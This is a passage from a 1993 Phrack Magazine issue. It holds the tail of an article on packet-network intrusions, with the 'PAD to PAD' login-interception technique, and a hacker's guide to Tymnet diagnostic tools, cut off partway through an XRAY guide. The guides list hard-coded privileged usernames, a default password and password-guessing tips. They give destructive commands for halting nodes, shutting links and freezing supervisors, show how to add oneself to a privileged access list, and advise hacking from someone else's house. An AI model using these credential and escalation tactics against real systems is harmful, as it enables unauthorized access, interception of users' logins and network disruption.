the NUA corresponding to his Sprintnet PAD and sent him a
login prompt.  This alarmed the hacker greatly, as he assumed
that the proprietors of the German host had somehow noticed
his attempt to access their system.  He contacted his partner
and told him of the occurrence.  The two concluded that since
the NUA of the origination point is sent in the packet-header,
the remote site must have been programed to recognize the NUA and
then return the call.  The fact that it had returned a call to a
public PAD was intriguing to the pair, so they decided to
attempt to recreate the event by calling each other.  Both
individuals connected to the network and one entered the NUA
corresponding to the others PAD.  A connection resulted and
the two were able to interact with one another.  They then
decided that they would periodically meet in this fashion and
discuss their findings from Germany.  At the time of the next
meeting, the connection did not occur as planned.  One hacker
quickly received a telephone call from the second who
exclaimed rather excitedly that he had attempted to connect
to his partner as planned, but accidentally connected to
another PAD and intercepted a legitimate user typing his NUI.
Further investigation proved that one could connect to public
PADs during the idle period when the user was in network
mode, prior to making a connection to a remote site.  This
discovery was intended to remain secret, because of its
extremely dangerous applications.  Nevertheless, word of this
discovery soon reached the entire hacker community and what
came to be known as "PAD to PAD" was born.

The "PAD to PAD" technique became so wide-spread that hackers
were soon writing software to intercept data and emulate
hosts and capture login names and passwords from unsuspecting
network users.  Hackers were intercepting thousands of calls
every day from users connecting to systems ranging from
banking and credit to the Fortune 500 to government sites.

After nearly two years of "PAD to PAD" Sprintnet became
alerted to the crisis and disallowed all connections to
public PADs.  When Sprintnet expanded its service overseas
they once again left access to the overseas PADs
unrestricted.  The problem went unnoticed again until
their attention was brought to it by a hacker who called
Sprintnet security and told them that they ought to fix it
quickly before it became as wide-spread as before.
The problem was resolved much quicker this time.

This particular technique was not limited to Sprintnet.  All
networks using the Telenet software are at risk to this type
of manipulation.  This type of network manipulation was
integral in the recent compromise of a large Bell Company's packet
network in a much-publicized case.  Certain foreign
networks in countries such as Israel, England, Chile, Panama,
Peru and Brazil are also at risk.

EXAMPLE TWO

In the late 1980's hackers stumbled onto a packet network
owned and maintained by a large facilities maintenance
company.  This particular network had a huge flaw in its
setup.  It connected all calls placed through it as if they
were placed with an NUI.  This allowed hackers to place calls
to addresses that refused collect connections on networks
around the world.  This became a popular method for hackers
to access underground chat systems in Europe.  Additionally,
this network contained a score of computers belonging to a
major automobile manufacturer.  Most of these systems were
highly insecure.  The network also allowed unrestricted
access to network debug ports.  This particular network also
had a toll-free number on an MCI exchange.  At the time, MCI
was having some difficulty getting their equipment to accept
the ANI information to provide customers with a full call-
detail report on their monthly statement.  The hackers were
well aware of this fact and made frequent use of the network
with no fear of prosecution.  Eventually MCI was able to fix
their translation problem and were able to provide their
clients with full call-detail reports.  When this was
learned, many hackers abandoned use of the network, but
several others were later prosecuted for its usage when their
number turned up on the bill.

EXAMPLE THREE

Until quite recently intimate knowledge of the utilities
driving various packet-switched networks were known by an
exclusive few.  While investigating a network owned by an
extremely large Cleveland-based conglomerate hackers came
across a system where documentation on the usage of every
utility was kept online.  The hackers quickly downloaded all
the information and it soon became somewhat wide-spread among
the underground community.  With less-skilled and more
unscrupulous individuals in possession of this information
many networks began experiencing disruptions and system
integrity was quickly lost as hackers began monitoring data
traffic.

No information on the usage of packet networks or their
utilities should ever be kept online.  Hard copies should be
kept in the possession of the network administrator, and when
updated, obsolete versions must be destroyed.

WHAT TO DO

When a security violation stemming from a connection through
the packet network is noticed, Network Security should be
notified.  Clients of BT-Tymnet should notify Steve Matthews
at 408-922-7384.  Clients of Sprintnet should notify
Pat Sisson at 703-689-6913.

Once changes have been enacted in the network to prevent
further break-ins, the host computer should be checked
thoroughly for any changes or damages, and all individual
account passwords should be changed.

CONCLUSION

It is critical that the packet network be configured properly
and that all measures are taken to ensure its security.  Even
the most secure host computer can be easily compromised if it
is connected to an insecure packet network.
----------------------------------------------------------------------
                             ==Phrack Magazine==

                 Volume Four, Issue Forty-Two, File 5 of 14

= - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -

                    Synopsis of Tymnet's Diagnostic Tools
                             and their associated
                   License Levels and Hard-Coded Usernames

                                    by
                              Professor Falken

                             February 14, 1993

= - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -


   While the scope of this article is general, the information contained
within is NOT for the novice Tymnet explorer.  Novice or NOT, go ahead
and read; however, caution should be taken when invoking any of these
commands upon BT's network.  Execution of certain commands can have
debilitating consequences upon segments of the network.

   In this article I intend to educate the reader about the various
Tymnet diagnostic utilities that are available.  This article is by no
means an in depth microscopic view of the utilities; but rather a brief to
the point survey course of what is available to qualified people.  With
each utility I will describe its use/s, list its major commands, and
in DDT & XRAY's case, dispense its hard-coded usernames which allow you to
become a 'qualified person.'

   It seems the software engineers at Tymnet (for the lack of something
better to do) like to rename ordinary words to complicated ones.  For
instance, within this article I will talk about LICENSE LEVELS.  License
levels are nothing more than security levels.  When I speak of License
Level 4, just translate that to Security Level 4.  I would have just called
everything security levels, but I wanted to stay within that lethargic
Tymnet mood for realism purposes.  Another word the engineers pirated from
'GI JOE' was GOOD-GUYS.  In our world, a Good-Guy is a valid username that
can be used for logging into the various diagnostic utilities.

   Like most conventional computers, Tymnet also needs an operating system
for its code to run under.  Tymnet's node-level, *multitasking*, operating
system is called ISIS; it stands for 'Internally Switched Interface System.'
Its designed for: handling multiple communication links, allocating system
memory, system job/process scheduling, and all the other BASIC things ALL
operating systems do.  Tymnet explains it a bit more complicated and less
to the point, but to give equal time to the opposing viewpoint, this is
what they say:

   "Internally Switched Interface System. The operating system for a TYMNET
    node; provides functions that control the overall operation of an
    Engine.  These functions include, but are not limited to, memory
    allocation, message switching, job scheduling, interrupt processing,
    and I/O distribution. ISIS allows multiple data communications
    functions to run on a single processor.  Two of its many services are
    debugging and I/O port management. Formerly known as ISIS-II or ISIS2.
    ISIS2, ISIS-II  Obsolete terms. See Internally Switched Interface
    System (ISIS)."

   At various points within this file I will refer to an ENGINE.
Basically, an ENGINE is a minicomputer which handles all the processing
requirements that ISIS and its applications demand.  However, to be fair to
all the Tymnet technoids, this is what BT says:

   "BT North America packet-handling hardware. The Engine communications
    processor is a member of a family of special-purpose minicomputers.
    It runs communications software such as Node Code (for switching),
    slot code (for protocol conversion and value-added functions), and
    the ISIS operating system. The Engine family consists of the
    Pico-Engine, Micro-Engine, Mini-Engine, Mini-Engine-XL,
    Dual-Mini-Engine-XL, Engine, and ATC."

   You think they would have invented much NEATER names for their computer
platforms than 'Mini-Engine' or 'Micro-Engine'.  I would guess that BT's
hardware engineers have less time than the software engineers to invent
K-RAD names for their projects.  Anyhow, as you can see, the ENGINE is the
muscle behind Tymnet's network brawn.

   Another term which is very basic to ANY understanding of Tymnet is the
'SUPERVISOR.'  As you can see the engineers searched high & low for this
clever term.  The Supervisor is many things including, the authentication
kernel you interact with, the circuit billing system that subscribers
unfortunately do not interact with, and generally the network's 'BIG BROTHER.'
Supervisor watches the status of the network at all times, keeping detailed
logs and interceding when trouble erupts.  The supervisor term can also
refer to the engine upon which the Supervisor is being run on.

   With all that in mind, I will now introduce five of Tymnet's diagnostic
tools.  I intend on presenting them in this order: DDT, MUX, PROBE, LOAD-II,
TOM, and XRAY.  Please note that only DDT and XRAY have 'good-guy' lists
provided.

DDT - Dynamic Debugging Tool
----------------------------

   DDT is a utility which runs under the ISIS operating system.  DDT is
capable of loading or displaying a slot's content.  A slot is an area of
memory in a node in which Tymnet applications run.  DDT can also be used
for modification of a specific slot's slot code.  Slot code is any
program which has been assigned memory within the engine by ISIS.  DDT also
performs other lower level diagnostic functions, which I will not go into.

   Logging into DDT requires you to provide the 'please log in:' prompt
a valid username and password.  Upon checking the good-guy list and
authenticating the user, the kernel process searches for the associated
slot assignment.  If no slot is assigned to the good-guy, the kernel will
prompt you for a slot number.  Once you enter a VALID slot number and it is
available, the authentication kernel executes the DDT utility.  When I say
'VALID' slot number, I mean a slot number which logically exists AND is
attainable by your current good-guy's license level.

   Actual logins to DDT take the form:

   please log in: goodguyID:host# <cr>
        password:

Where goodguyID is a valid goodguy, host# is the Tymnet subscriber who
needs a little 'work' done, and obviously the password is what it is.  While
I would like to give you all the passwords I could, I don't think it is
going to happen.  So all I can do is suggest trying different variations
of the goodguy IDs, and other dumb passwords unsecure people use.

   Connection to primary DDT is displayed as the ever-so-friendly '*' prompt.
It is from this prompt that all general DDT commands are directed.  The most
useful DDT commands are listed below in a general, extended, and RJE/3270T
specific registry.


GENERAL DDT COMMANDS
--------------------

E            Execute a slot.
H            Halt a slot. <---- DESTRUCTIVE See WARNING!
ZZ           Logs you out of DDT.
^#           Transfers control from the current slot to the slot
             specified by #. (IE- ^7  Switches control to slot 7)
?CPU         Displays CPU utilization (Engine Performance)
?HIST        Displays a history of diagnostic messages.
?HOST        Displays the hosts in use by that slot.
?LU          Displays the logical unit to physical device assignment.
?MEM         Displays the time of memory errors if any.
?STAT        Allows the execution of EXTENDED DDT.  To obtain the extended
             command prompt type '/'.Command prompt ':>'
?VERN        Displays the ISIS version followed by the SLOT's version.


WARNING!: It is possible to HALT a slot accidently.  This will freeze
          everything going in/out of the current slot.  This can be BAD
          for customer satisfaction reasons.  If you accidently hit 'H',
          even without a CR/LF it will hang the slot.  So when the ?HIST or
          ?HOST commands are used make SURE you type that important '?'
          beforehand.  This will halt everything going over that slot,
          effectively destroying the communication link.


EXTENDED COMMANDS FOR RJE & 3270T
---------------------------------

RJE & 3270T
===========
EXI          Logs you out. (DuH!)
QUIT         Return from extended DDT prompt ':>' to normal '*' DDT prompt.

RJE Only
========
HELP         Displays a list of commands available in extended RJE DDT mode.
             (A list not worth putting in here.)
SCOPE        Outputs a protocol trace.
TRACE        Outputs a state trace.

3270T Only
==========
HELP         Displays a list of commands available in extended 3270T DDT mode.
             (Again, a list not worth putting in here.)
STATUS       Displays status of all lines, control units, and devices.
STRTLN x     Start polling on line x. (Performance benchmark)
STRTCU x,y   Start polling control UNIT x on LINE y. (Performance benchmark)
STOPLN x     Stop polling on line 'x'
STOPCU x,y   Stop polling control UNIT x on LINE y.

NOTE:If you try to use an RJE command while logged into a 3270T you will
     be shown the incredible "ILLEGAL COMMAND" string.


GOOD-GUYS AND LICENSE LEVELS
----------------------------

   As with any username, there is an accompanying license level (security
level) with each account.  The different levels define which types of
slots that username may access and the available commands.  Some of the
good-guys have access to all slots including supervisor, while others
have access to only non-supervisor slots.

   The table below is a list of the actions that are available with the
various different license levels.

L.DISC    Permits disk formatting
L.H       Permits the halting, loading, and restarting of all slots for
          code-loading purposes.
L.P       Permits the halting, restarting, and online software modification
          to an active slot. (Except slots 0 and FF)
L.R       Permits logon to all slots (Except 0 and FF)
L.SOA     Permits logon to a node's slot 0. (Node configuration.)
L.SOP     Permits the halting, restarting, and online software modification
          to slot 0.
L.SOR     Permits the reading of slot 0 files.
L.SUA     Permits logon to Supervisor slots.
L.SYA     Permits logon to a node's FF slot. (ISIS configuration node.)
L.SYR     Permits the reading of slot FF files.
L.SYP     Permits the halting, restarting, and online modification to
          slot FF.

   The DDT license levels are numbered from 0 to 4, 4 being Gh0D.  Each level
has several of the above named actions available to them.  Listed below are
the various actions available at the 0 through 4 license levels.

LEVEL   ACTIONS
=====   =======
  4     L.DISC, L.P, L.SOA, L.SOP, L.SUA, L.SYA, and L.SYP .
        (Disk format, halt, restart, online software mods, and reading
         of files for all slots AND supervisors. Like I said, GOD.)

  3     L.P, L.SOA, L.SOP, L.SYA, and L.SYP .
        (Halt, restart, online software mods, and reading of files for
         all slots and supervisors.)

  2     L.H, L.R, L.SOA, L.SOR (For code loading purposes: halt, restart
        online software mods, and reading files for all slots and
        supervisor nodes.)

  1     L.R, L.SOA, L.SYA (Views ALL slots and supervisor nodes)

  0     L.R (Views all slots, EXCEPT supervisor slots and 0 & FF.)

   What follows is a good-guy userlist with the associated license level
of that username.  I also note whether the account is ACTIVE/PASSIVE upon
an operating node/slot combination and the seriousness of the network
impact that those associated licenses can possibly create.

      LICENSE LEVEL    GOOD GUY USERNAME     ACTIVE/PASSIVE  NETWORK IMPACT
      =============    =================     ==============  ==============
            4             ISISTECH               Active           MAJOR
            4             NGROM                  Active           MAJOR
            4             NSSC                   Active           MAJOR
            4             RPROBE                 Active           MAJOR
            4             RERLOG                 Active           MAJOR
            4             RACCOUNT               Active           MAJOR
            4             RSYSMSG                Active           MAJOR
            4             RUN2                   Active           MAJOR
            4             TNSCM                  Active           MAJOR

            3             IEXP                   Active         Moderate
            3             ISERV1                 Active         Moderate
            3             ISERV2                 Active         Moderate
            3             ISERV3                 Active         Moderate
            3             ITECH1                 Active         Moderate
            3             ITECH2                 Active         Moderate
            3             ITECH3                 Active         Moderate
            3             ITECH4                 Active         Moderate
            3             ITECH5                 Active         Moderate

            2             GATEWAY                Active           Minor

            1             DDT                    Passive
            1             DDTECH                 Passive
            1             IOPPS                  Passive
            1             ISERV                  Passive
            1             ITECH                  Passive

            0             VADICBUSY              Passive


MUX - The Circuit Multiplexer
-----------------------------

   MUX is a tool which also runs within an ISIS slot.  MUX allows the
building, interconnecting, and controlling of several sets of circuits from
a single terminal.  Instead of logging in and out of each diagnostic
tool as different commands are needed, MUX is used to create multiple
concurrent circuits.  Once these are set up, it is easy to switch back
and forth between different diagnostic applications, WITHOUT having to
logoff one before logging into another.  Tymnet also likes to boast that
you can chat with other users on MUX's 'Talk mode facility.'  I'll stick
to IRC until this catches on.

   Logging into MUX is quite simple.  It takes the form of:

   please log in: userid <cr>
        password:

NOTE: ATTN commands, see CHAR command.
ATTN ATTN       Allows you to send one attention character down the circuit.
ATTN C x        Labels the current port, where 'x' is the label you desire.
ATTN E          Allows you to switch to the next port you have defined.
                This command however is not valid from the command mode.
                The circuit label is presented and connection is made.
                Even though the prompt for that circuit is not presented,
                you ARE connected.
ATTN Z          Returns you to the command mode.

CHAR char       Configures your ATTN character to 'char'.  So in the below
                ATTN commands, you will have to enter your ATTN character
                then the proceeding character.  The default ATTN Character
                is CTRL-B.  Personally, I like to set mine to '!'.
CONNECT pl1,pl2 Connect the output of port label-1 to port label-2.
                Usually your current port label is marked with a * preceding
                it in a 'LIST', this is also known as a BOSS.

ENABLE pl       Enables a pl's (port labels) output.
EXIT            Leave MUX with all your circuits INTACT.

FLUSH pl        Flush pl's (port labels) output.
FREEZE N/F      Freeze (N=ON or F=OFF) current Boss.

GREETING msg    Sets up the greeting message.

HEAR N/F        Allow (N=ON or F=OFF) users to 'TALK' to each other.
HELP            Prints help messages. (ooof)

LIST            Lists all active ports for the current user. (ATTN Z L)
LABEL N/F       Labeling (N=ON or F=OFF) of all output sent to the Boss.

MAKE            Make a new circuit by logging onto a diagnostic tool.
                You will be prompted with the omnipresent 'Please log in:'
                prompt.  Just login as usual for particular tool.
MESSAGE         Print last message.

QUIT            Leave MUX and ZAP all circuits created.

SEND pl         Send to pl (port label).

TALK username   Talks to 'username' providing HEAR=N.
TIME            Outputs date and time in format: 31Dec93 05:24
TRANSFER pl     Transfers control of this BOSS to pl (port label).

ZAP pl          Zap any circuits you made, where 'pl' is the port label.
                This command defaults to the port labeled '*' (Boss).
                This command is ONLY valid in command mode.

PROBE
-----

   PROBE is probably one of the BEST known Tymnet diagnostic tools.
PROBE is actually a sub-program of the Supervisor.  PROBE is capable of
monitoring the network, and it has access to current pictures of
network topology, including host tables and node descriptors.  PROBE
shares common memory with the Supervisor and has circuit tracing
capability.  PROBE can be used to check the history of nodes & links,
boot a node, trace a circuit, and reset a link or shut one down.
PROBE can be access directly or through TMCS (Tymnet Monitoring
and Control System.)

   To access PROBE from within TMCS you would enter the command:

PROBE s    Where 's' is the active or 'sleeping' supervisor.

For more PROBE related TMCS commands or general TMCS commands, please
refer to an appropriate source.  If the demand is great enough, perhaps I
will release a TMCS reference sheet in the future.

   PROBE access is determined by the sum of the individual license
levels granted to the user.  PROBE licenses are as follows:

License    Description
-------    -----------
  00       Permits view only commands -- user is automatically logged off
           from PROBE after 20 minutes of no activity.
  04       Permits view only commands -- no automatic logoff.
  20       Permits all 00 commands plus ability to effect changes to
           network links.
  10       Permits ability to effect changes to node status.
  01       Permits ability to effect changes to network supervisors.
  02       Permits ability to effect changes to supervisor disks.

   I do not have any hardcoded usernames for PROBE with this exception.
The PROBE access username 'PROBE' is hardcoded into the supervisor,
and usually each host has one hardcoded PROBE username: CONTROL -- license
level 37.  So in comparison with the above chart, CONTROL has Gh0d access
to PROBE commands, because everything added up equals 37 (duh).  On many
subnets, the username RPROBE has similar access.

PROBE COMMANDS

Command      Lic. Lvl  Description
-------      --------  -----------
CHANGE        00/04    Changes your PROBE personal password.
EXI           00/04    Logout.
HELP          00/04    Help. (Temple of Sub-Genius)
SEND x text   00/04    Sends message to Probe user whose job label is 'x'.
VERSION       00/04    Lists current software version number.
WHO           00/04    Lists currently logged in PROBE users. (Useful)

DISPLAY CMDS:
Command     Lic. Lvl  Description
-------     --------  -----------
ACCT         00/04    Displays # of accounting blocks on Supervisor disk
                      available for RAM session record data.
AN           00/04    Displays detailed information about active nodes.
ASTAT        00/04    Displays number of login and circuit building
                      timeouts.

AU           00/04    Displays node numbers of ALL active nodes that are up.
CHAN x       00/04    Displays port number used by Supervisor for command
                      circuit to node 'x'.
COST x       00/04    Displays cost of building command circuit to node 'x'.
CSTAT        00/04    Displays time, login, rate, and network status every
                      15 seconds.
EXC O|S|P    00/04    Displays links that are overloaded (O), or shut (S),
                      or out of passthroughs (P).
HOST x       00/04    Displays information about host 'x' or all hosts.
LACCT        00/04    Displays number of last accounting block collected
                      by RAM session record data.
LRATE        00/04    Displays Supervisor login rate in logins per min.
LSHUT        00/04    Displays shut links table.
LSTMIN       00/04    Displays circuit status information gathered by
                      Supervisor during preceding minute.
N x          00/04    Displays status info about node 'x'.
OV x         00/04    Displays overloaded links.
PERDAT       00/04    Displays Supervisor performance data for preceding min.
RTIME        00/04    Reads 'Super Clock' time and displays year, and
                      Julian date/time.
STAT         00/04    Displays network status information.
SYS          00/04    Displays host number running PROBE.
TIME         00/04    Displays Julian date and network time.
TSTAT        00/04    Displays same information as STAT, preceded by
                      Julian date/time.
VERSION      00/04    Displays current versions of PROBE and Supervisor
                      software.
WHO          00/04    Displays active PROBE users and their job labels.

LOG MESSAGE CMDS:
Command          Lic. Lvl  Description
-------          --------  -----------
LOG               00/04    Outputs network information from Supervisor log.
REPORT            00/04    Controls output of node reports.
RLOG m1..m4       00/04    Restricts log output to up to four message numbers.
                           M1- 1st Message, M2- 2nd Message, etc.
RNODE n1 n2       00/04    Restricts log output to messages generated at nodes
                           N1 and N2.

NETWORK LINK CMDS:
Command         Lic. Lvl  Description
-------         --------  -----------
CSTREQ n1 n2       20     Requests total speed of all lines on specified
                          link. (n1= 1st Node n2= 2nd Node)
ESHUT n1 n2        20     Shuts specified link and enters it on shut links
                          table. (n1= 1st Node n2= 2nd Node)
PSTAT n Hhost p    20     For node 'n', displays status of logical ports
                          for port array 'p' on 'host'. Note the capital
                          'H' must precede the host specific.
RSHUT n1 n2        20     Opens specified link and removes it from shut
                          links table.
SYNPRT n           20     Displays status of async ports on node 'n'.
TRACE n Hhost p    20     Traces specified circuit. Where 'n' is node,
  or  n Sp         20     'host' is HOST, and 'p' is port.  Or for secondary
                          command: 'n' node name, 'p' port. Again, 'S' must
                          precede the port name.
T2BORI n1 n2       20     Resets communication channel between node n1 and
                          node n2.

NETWORK NODE CMDS:
Command  Lic. Lvl  Description
-------  --------  -----------
CLEAR n     10     Opens all links on node 'n'.
DLOAD n     10     Causes node 'n' to execute its downline load
                   bootstrap program.
NSHUT n     10     Shuts all links on node 'n'.
RETAKE n    10     Causes Supervisor to release and retake control
                   of node 'n'.
SPY         10     Displays last 32 executions of selected commands.

NETWORK SUPERVISOR CMDS:
Command  Lic. Lvl  Description
-------  --------  -----------
AWAKE       01     Wakes a sleeping Supervisor. (Only one Supervisor is
                   active at one time, however there can be supervisors
                   'sleeping'.)
CLASS       01     Causes Supervisor to read Netval class and group
                   definitions.
DF s        01     Increases Supervisor's drowsiness factor by 's' seconds.
ETIME       01     Sets time known to Supervisor.
FREEZE      01     Removes Supervisor from network.
PSWD        01     Displays password cipher in hex.
SLEEP       01     Puts active Supervisor to sleep.
THAW        01     Initializing frozen Supervisor.
TWAKE       01     Wakes sleeping Supervisor, automatically puts active
                   Supervisor to sleep and executes a CSTAT command.

USER UTILITY CMDS:
Command  Lic. Lvl  Description
-------  --------  -----------
ENTER       01     Adds/deletes/modifies Probe usernames.
HANG x      01     Logs off user with job label 'x'.
LIST        01     Displays Probe usernames.
ULOGA       20     Enters user-generated alphabetic message in msg log.
ULOGH       20     Enters user-generated hex message in msg log.

SYSTEM MAINTENANCE / DISASTER RECOVERY CMDS:
Command       Lic. Lvl  Description
-------       --------  -----------
DCENT n1 n2      02     Allows Tymnet support temporary, controlled access
                        to a private network. (Useful)
DCREAD           02     Reads current value of password cipher associated
                        with DCENT username.
FTIME +/- s      02     Corrects the 'Super Clock' by adding (+) or
                        subtracting (-) 's' seconds from it.
INITA            02     Initializes accounting file to all zeros.
INITL            02     Initializes log to all zeros.


NOTE:  Each PROBE is a separate entity with its own files.  For example,
       if you shut lines in the PROBE on the active Supervisor, this will
       NOT be known to the sleeping PROBE.  If another Supervisor takes
       over the network, it will not consider the link to be shut.
       Likewise, PROBE password changes are made only to one PROBE at a
       time.  To change your password everywhere, you must do a CHANGE in
       each probe.

LOAD-II
-------

   LOAD-II is probably one of the LEAST known of Tymnet's utilities.
LOAD-II is used to load or dump a binary image of executable code for a
node or slot.  The load/dump operation can be used for the ENTIRE engine,
or a specific slot.

Upon reaching the command prompt you should enter:

   R LOADII <cr>

This will initiate an interactive session between you and the LOAD-II
load/dumping process.  The system will go through the following procedure:

TYMNET OUTPUT         YOUR INPUT  WHAT THIS MEANS TO YOU
-------------         ----------  ----------------------

Enter Function:           G       'G' Simply means identify a gateway
Enter Gateway Host:     ####      This is the 4 digit identifier for hosts
                                  on the network.  I know that 2999 is for
                                  'MIAMI'.
Password:               LOAD      This is the default password for LOAD-II.
Function:                 C       'C' for crash table dump, OR
                          D       'D' to dump an entire engines contents, OR
                          L       'L' to load an entire engines contents, OR
                          S       'S' to load a slot, or
                          U       'U' to dump a slot.
Neighbor Node:          ####      Selects neighbor node number.
Neigh. Kern. Host#:     ###       This 3-digit code is derived by adding the
                                  first two digits of the node number and
                                  appending the last two digits to that sum.
Line # to Load From:    ##        Use the line number coming off the
                                  neighbor node, NOT the node that is DOWN.
Object File Name:                 File used to load/dump node or slot from/to.
EXIT                    EXI       Send program to end of job.


TOM - TYMCOM Operations Manager
-------------------------------

   TOM is utility which runs under TYMCOM.  Quickly, TYMCOM is an interface
program for the host computer which imitates multiple terminals.  Quoting
from Tymnet, "TYMCOM has multiple async lines running to the
front-end processor of the host."  So in other words, TYMCOM has a
bunch of lines tied into the engine's front-end, allowing a boatload of
jobs/users to access it.

   TOM is primarily used with TYMCOM dialup ports.  It is used to DOWN and
then UP hung ports.  This type of situation may occur after a host crash
where users are getting a 'Host Not Available' error message.  TOM can also
be used to put messages on TYMCOM in order to alert users to problems or
when scheduled maintenance will occur on various hosts/ports.  To login
type:

   ##TOM##:xxxx

Where 'xxxx' is the appropriate host number you wish to 'work' on. After
proper hostname is given, you will then be prompted for a password.  As I
have none of these to give, play on 3-5 character combinations of the
words: TYMCOM, TOM, HIF, OPMNGR.

Command         Description
-------         -----------
GRAB TOMxxxx    This should be the FIRST thing you do when down/upping
                a host.  Gets license for up or down host, then prompts for
                password of host.  Where 'xxxx' is the host number.  You
                must have privileged status to use.

CHANGE xxxx     Change a host number to 'xxxx'.

DIAGNOSTICS     Turns the diagnostic messages off or on.(Toggle)
DOWN P xx       Take DOWN port number 'xx', or
     H xxxx     Take DOWN host number 'xxxx'.

ENQUIRE         Lists information about the node and slow where TYMCOM is
                running.
EXIT            Logout.

MESSAGE         Sets text to be output to the terminal when a user logs in.

SHUT H xxxx     Disallow new logins to a specified host = 'xxxx', or
     P xx       Disallow new logins to a specified port = 'xx'.
SPEED xxxx      Specifies the baud rate at which a port will communicate.
STAT P xx-yy    Shows status of port numbers 'xx' through 'yy'.  Either
                one or a number of ports may be specified.

TIME            Displays the current time.
TO x message    Sends 'message' to specified user number 'x'.

UP P xx         Bring UP port number 'xx', or
   H xxxx       Bring UP host number 'xxxx'.

WHO             Lists user numbers of all users currently logged into TOM.


XRAY
----

   XRAY is another one of the very well known commands.  XRAY is a program
which sits within node code and waits for use.  Its used to gain
information about a specific node's configuration and its current status in
the network.  It can be used to determine the probable reason for a crash
or line outage in order to isolate bottlenecks or track down network
anomalies.

   XRAY user licenses are all assigned a logon priority.  If every XRAY
port on a node are in use, and a higher priority XRAY username logs in,
the lowest priority username will be logged out.

License Description
------- -----------
2       Permits the writing and running of disruptive node tests.
1       Permits the running of non-disruptive node tests.
0       Permits view only commands.

   The following list is a compilation of some hardcoded 'good-guys'.

LICENSE LEVEL  PRIORITY  GOOD GUY USERNAME  ACTIVE/PASSIVE  NETWORK IMPACT
=============  ========  =================  ==============  ==============
     2            98        XMNGR              Active           MAJOR
     2            98        ISISTECX           Active           MAJOR

     2            97        XNSSC              Active           MAJOR

     1            50        TNSCMX             Active           Minor
     1            50        TNSUKMX            Active           Minor

     1            40        XSOFT              Active           Minor
     1            40        XEXP               Active           Minor
     1            40        XCOMM              Active           Minor
     1            40        XSERV1             Active           Minor

     0            50        XRTECH            Passive

     0            30        XTECH             Passive
     0            30        XOPPS             Passive
     0            30        XSERV             Passive
     0             0        XRAY              Passive

   What follows is a VERY brief command summary.

Command         Description
-------         -----------
CD              Displays current auto/display mode for CRYPTO messages.
CD Y|N          Turns ON/OFF automatic display of CRYPTO messages.
CL n            Display the last 'n' CRYPTO messages.
CRTL Z          Logout.

BT              Causes the SOLO machine to go into boot.  Audited command.

DB              Used to build and measure link delay circuits between
                nodes.  The DB command prompts for a node list. IE-
                NODE LIST: <node #1 node#2 ... node#x>
DD              Displays link measurement data for circuit built by the
                DB command.  Verifies that the circuit has been built.
DE              Used to terminate the DB command.

HT              Puts the node code into a STOP state.  This command shows
                up in audit logs.

KD n            Display link descriptor parameters where 'n' is the
                neighbor number.
KS n            Display link performance statistics (link delay, packet-
                making, bandwidth utilization, etc.)

ND              Displays information about the configuration of a node
                and its neighbors.
NS option       Displays parameters for estimating node work load. Options:
                -EXCT is the current load factor or execute count. A count
                of less than 60 means the load is heavy.
                -EXLW is the lowest EXCT value computed since startup.
                -EXHW is the highest EXCT value computed.
SN              Restarts the node, command audited.
------------------------------------------------------------------------------

   I hope this file gave you a better understanding of the Tymnet network.
While a lot of the commands make sense only if you've had prior Tymnet
experience, I hope my summaries of each tool gave you a little better
understanding of the network.  I am available for questions/comments/gripes
on IRC, or I can be reached via Internet mail at:

                    [e-mail]

   Thanks goes out to an anonymous hippy for providing the extra nudge I needed
to sit down and write this phile.  NO thanks goes out to my lousy ex-roommates
who kicked me out in the middle of this article.  Their day is approaching.

   Be careful everyone...and remember, if you have to explore the
mysterious fone/computer networks, do it from someone else's house.

- Professor Falken
= Legion of Doom!


<EOF-93> [Written with consent and cooperation of the Greys]
                      ==Phrack Magazine==

          Volume Four, Issue Forty-Two, File 6 of 14


                   A User's Guide to XRAY

                         By  N.O.D.


This file was made possible by a grant from a local
McDonnell Douglas Field Service Office quite some 'tyme'
ago.  This was originally written about version 4, although
we are pretty sure that BT has now souped things up to version 6.
Everything still seems the same with the exception of a few
commands, one of which we will point out in particular.

Any comments/corrections/additions/updates or subpoenas
can be relayed to us through this magazine.

XRAY is a monitoring utility that gives the user a real-time
window into a Tymnet-II node.  Used in tandem with other
utilities, XRAY can be a very powerful tool in monitoring network
activity.

In this file we will discuss key features of XRAY and give command
formats for several commands.  Some commands are omitted from this
file since they can only be used from dedicated terminals.  Several
others are likewise omitted since they deal with the utilization of
XRAY in network configuration and debugging the actual node code, and
would probably be more damaging than useful, and commands to reset
circuits and ports are similarly missing.


ACCESS

The most obvious way to access XRAY is to find the username/password
pair that either corresponds to the host number of an XRAY port, or
is otherwise in the goodguy list of a particular node.

XRAY can also be accessed through the DDT utility by typing

    ?STAT

Either will respond with the following

**X-RAY**  NODE:  XXX   HOST:  ZZZ  TIME:  DD:HH:MM:SS

If all ports are currently in use the user will only be allowed access
if his/her is of greater precedence in the goodguy list than that of
someone previously online.  In such a case, that user will be forcibly
logged out and will receive the following message:

    "xray slot overridden"

Otherwise the user will see:

    "out of xray slots"

XRAY users are limited in their power by the associated "licence" level
given them in the XRAY goodguy list.  The levels are:

    0 - normal
    1 - privileged
    2 - super-privileged


There are several user names associated with the
XRAY utility.  These exist on almost any network utilizing
the Tymnet-II style networking platform.

  PRIORITY    USERNAME

     2        XMNGR
     2        ISISTECX
     2        XNSSC
     1        TNSCMX
     1        TNSUKMX
     1        XSOFT
     1        XEXP
     1        XCOMM
     1        XSERV1
     0        XRTECH
     0        XTECH
     0        XOPPS
     0        XSERV
     0        XRAY



COMMANDS  with parameters in <brackets>

HE  Help

    Use this command to display the commands available for that
    particular node.

GP  Get power <security string>

    This command allows the user to move up to the maximum security
    level allowed by his username, as specified in the good guy
    list.

XG  Display and/or modify XRAY goodguy list <entry number> <P/M>

    This command without parameters will display the XRAY goodguy
    list.  When added with an entry number and 'P' (purge) or
    'M' (modify), the user can edit the contents of the table.
    The XGI command will allow the user to enter a new entry
    into the list.  Any use of XG or XGI to alter the list is
    a super-privileged command and is audited.

    >XG

    XRAY GOODGUY LIST

    NO.   PRIV  OVER  NAME
    ----  ----  ----  ----
    0001  0002  00FF  TIIDEV
    0002  0001  0030  RANDOMUSER
    0003  0000  0000  XRAY

    >XGI

    ENTER UP TO 12 CHARACTERS OF USERNAME

    NOD

    ENTER NEW PRIVILEGE AND OVERRIDE - 2,FF

    >XG

    XRAY GOODGUY LIST

    NO.   PRIV  OVER  NAME
    ----  ----  ----  ----
    0001  0002  00FF  TIIDEV
